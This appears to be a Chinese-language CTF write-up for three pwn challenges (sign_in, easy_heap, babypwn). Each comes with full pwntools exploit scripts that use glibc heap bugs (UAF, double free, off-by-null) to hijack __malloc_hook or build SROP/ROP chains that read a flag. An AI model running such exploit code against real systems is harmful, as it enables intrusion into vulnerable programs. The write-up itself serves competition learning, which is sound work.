羊城杯

把三个简单的做了,mipspwn 是个栈溢出貌似,repwn需要逆向那个算法,然后leak stack地址和libc地址,server是个GET POST传参的菜单堆UAF洞附件

sign_in

简单的UAF,一个double free 打到malloc_hook,然后realloc修栈

1
from pwn import*
2
context.log_level = 'DEBUG'
3
def menu(ch):
4
	p.sendlineafter('choice :',str(ch))
5
def new(size,name,content):
6
	menu(1)
7
	p.sendlineafter("game's name:",str(size))
8
	p.sendafter("game's name:",name)
9
	p.sendlineafter("game's message:",content)
10
def free(index):
11
	menu(3)
12
	p.sendlineafter('index:',str(index))
13
def show():
14
	menu(2)
15
16
17
p = process('./main')
18
#p =  remote('183.129.189.60',10029)
19
libc = ELF('./libc-2.23.so')
20
new(0x100,'FMYY','FMYY')
21
new(0x68,'FMYY','FMYY')
22
new(0x68,'FMYY','FMYY')
23
free(0)
24
new(0xD0,'\x78','\x78')
25
show()
26
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 88 - 0x10
27
log.info('LIBC:\t' + hex(libc_base))
28
malloc_hook = libc_base + libc.sym['__malloc_hook']
29
rce = libc_base + 0xF1207
30
realloc = libc_base + libc.sym['realloc']
31
free(1)
32
free(2)
33
free(1)
34
new(0x68,p64(malloc_hook - 0x23),'FMYY')
35
new(0x68,'FMYY','FMYY')
36
new(0x68,'FMYY','FMYY')
37
new(0x68,'\x00'*(0x13-8) + p64(rce) + p64(realloc + 4),'FMYY')
38
menu(1)
39
p.interactive()

easy_heap

简单的off by null,2.31的,然后有个沙盒,用malloc_hook + IO + SROP的劫持方法做即可 orw flag

1
from pwn import*
2
context.arch = 'AMD64'
3
#context.log_level = 'DEBUG'
4
def menu(ch):
5
	p.sendlineafter('Choice:',str(ch))
6
def new(size):
7
	menu(1)
8
	p.sendlineafter('Size: ',str(size))
9
def edit(index,content):
10
	menu(2)
11
	p.sendlineafter('Index:',str(index))
12
	p.sendafter('Content:',content)
13
def free(index):
14
	menu(3)
15
	p.sendlineafter('Index:',str(index))
16
def show(index):
17
	menu(4)
18
	p.sendlineafter('Index:',str(index))
19
p = process('./main')
20
p =  remote('183.129.189.60',10009)
21
libc =ELF('./libc-2.31.so')
22
for i in range(4):
23
	new(0x1000)
24
new(0x1000-0x3E0 - 0x50 + 0x10)
25
#--large bin
26
for i in range(7):
27
	new(0x28)
28
new(0xB20)
29
new(0x10)
30
31
free(12)
32
new(0x1000)
33
new(0x28) #14
34
edit(14,p64(0) + p64(0x521) + '\x40')
35
#--
36
#-- small bin 
37
new(0x28) #15
38
new(0x28) #16
39
new(0x28) #17
40
new(0x28) #18
41
42
for i in range(7): #5 - 11
43
	free(5+i)
44
45
free(17)
46
free(15)
47
48
for i in range(7):
49
	new(0x28)
50
51
new(0x400)  #15
52
53
new(0x28) #17
54
edit(17,p64(0) + '\x20')
55
new(0x28) # clear the tcache bin
56
#--
57
58
#--fast bin
59
for i in range(7):
60
	free(5 + i)
61
free(16)
62
free(14)
63
for i in range(7):
64
	new(0x28)
65
new(0x28)
66
edit(14,'\x20')
67
new(0x28)
68
#--
69
new(0x28) #20
70
new(0x5F8)
71
free(20)
72
new(0x28)
73
edit(20,'\x00'*0x20 + p64(0x520))
74
free(21)
75
new(0x40)
76
new(0x40)
77
show(16)
78
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 - libc.sym['__malloc_hook']
79
log.info('LIBC:\t' + hex(libc_base))
80
free_hook = libc_base + libc.sym['__free_hook']
81
system = libc_base + libc.sym['system']
82
IO_stdin = libc_base +  libc.sym['_IO_2_1_stdin_']
83
free(22)
84
free(14)
85
new(0x28)
86
edit(14,p64(0) + p64(0x301))
87
new(0x2F0)
88
free(22)
89
free(21)
90
free(14)
91
new(0x28)
92
edit(14,'\x00'*0x10 + p64(IO_stdin))
93
################
94
pop_rdi_ret = libc_base + 0x0000000000026B72
95
pop_rdx_r12 = libc_base + 0x000000000011C1E1
96
pop_rsi_ret = libc_base + 0x0000000000027529
97
pop_rax_ret = libc_base + 0x000000000004A550
98
jmp_rsi  = libc_base + 0x00000000001105BD
99
100
101
syscall = libc_base + libc.sym['syscall']
102
103
target = libc_base + libc.sym['_IO_2_1_stdin_']
104
address = libc.sym['__free_hook'] + libc_base
105
IO_str_jumps = libc_base + 0x1ED560
106
frame_address = target + 0xE0
107
108
Open = libc_base + libc.symbols["open"]
109
Read = libc_base + libc.symbols["read"]
110
Puts = libc_base + libc.symbols['puts']
111
free_hook = address
112
IO  = '\x00'*0x28
113
IO += p64(frame_address)
114
IO  = IO.ljust(0xD8,'\x00')
115
IO += p64(IO_str_jumps)
116
read = libc_base + libc.sym['read']
117
frame = SigreturnFrame()
118
frame.rax = 0
119
frame.rdi = 0
120
frame.rsi = address
121
frame.rdx = 0x2000
122
frame.rsp = address
123
frame.rip = Read
124
125
126
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
127
orw += p64(pop_rsi_ret)+p64(0)
128
orw += p64(Open)
129
orw += p64(pop_rdi_ret) + p64(3)
130
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
131
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
132
orw += p64(Read)
133
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
134
orw += p64(Puts)
135
orw  = orw.ljust(0xF8,'\x00')
136
orw += './flag\x00\x00'
137
IO += str(frame)
138
IO += 'F'*0x18 + p64(libc_base + libc.sym['setcontext'] + 61)
139
###############
140
new(0x2F0)
141
new(0x2F0)
142
log.success('Now')
143
edit(22,IO)
144
menu(5)
145
p.sendlineafter('bye bye!',orw)
146
p.interactive()

babypwn

也是简单题,需要一个libc地址,释放一个块到fastbin,利用scanf输入数据过多会申请一个large bin chunk,故可以将fastbin中的chunk 放进small bin中,再申请回来拿到libc,一个double free申请过去即可打到malloc_hook

1
from pwn import*
2
context.log_level = 'DEBUG'
3
def menu(ch):
4
	p.sendlineafter('choice :',str(ch))
5
def new(size,name,content,sign=1):
6
	menu(1)
7
	p.sendlineafter("game's name:",str(size))
8
	p.sendafter("game's name:",name)
9
	if sign:
10
		p.sendlineafter("game's message:",content)
11
	else:
12
		p.sendline(content)
13
def free(index):
14
	menu(2)
15
	p.sendlineafter('index:',str(index))
16
	
17
p = process('./main')
18
p = remote('183.129.189.60',10031)
19
libc =ELF('./libc-2.23.so')
20
new(0x28,'FMYY','FMYY')
21
new(0x60,'FMYY','FMYY')
22
new(0x60,'FMYY','FMYY')
23
new(0x60,'FMYY','FMYY')
24
free(2)
25
menu(1)
26
p.sendlineafter("game's name:",'0'*0x500)
27
free(0)
28
new(0x60,'\xDD\x25','FMYY')
29
free(1)
30
free(3)
31
free(1)
32
new(0x60,'\x30','FMYY')
33
new(0x60,'FMYY','FMYY')
34
new(0x60,'FMYY','FMYY')
35
new(0x60,'FMYY','FMYY')
36
new(0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88','FMYY',sign=0)
37
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
38
malloc_hook = libc_base + libc.sym['__malloc_hook']
39
realloc = libc_base + libc.sym['realloc']
40
rce = libc_base + 0xF1207
41
free(5)
42
free(6)
43
free(5)
44
new(0x68,p64(malloc_hook - 0x23),'FMYY')
45
new(0x68,'FMYY','FMYY')
46
new(0x68,'FMYY','FMYY')
47
new(0x68,'\x00'*(0x13-8) + p64(rce) + p64(realloc + 4),'FMYY')
48
menu(1)
49
p.interactive()
Contents
  1. 1. sign_in
  2. 2. easy_heap
  3. 3. babypwn
|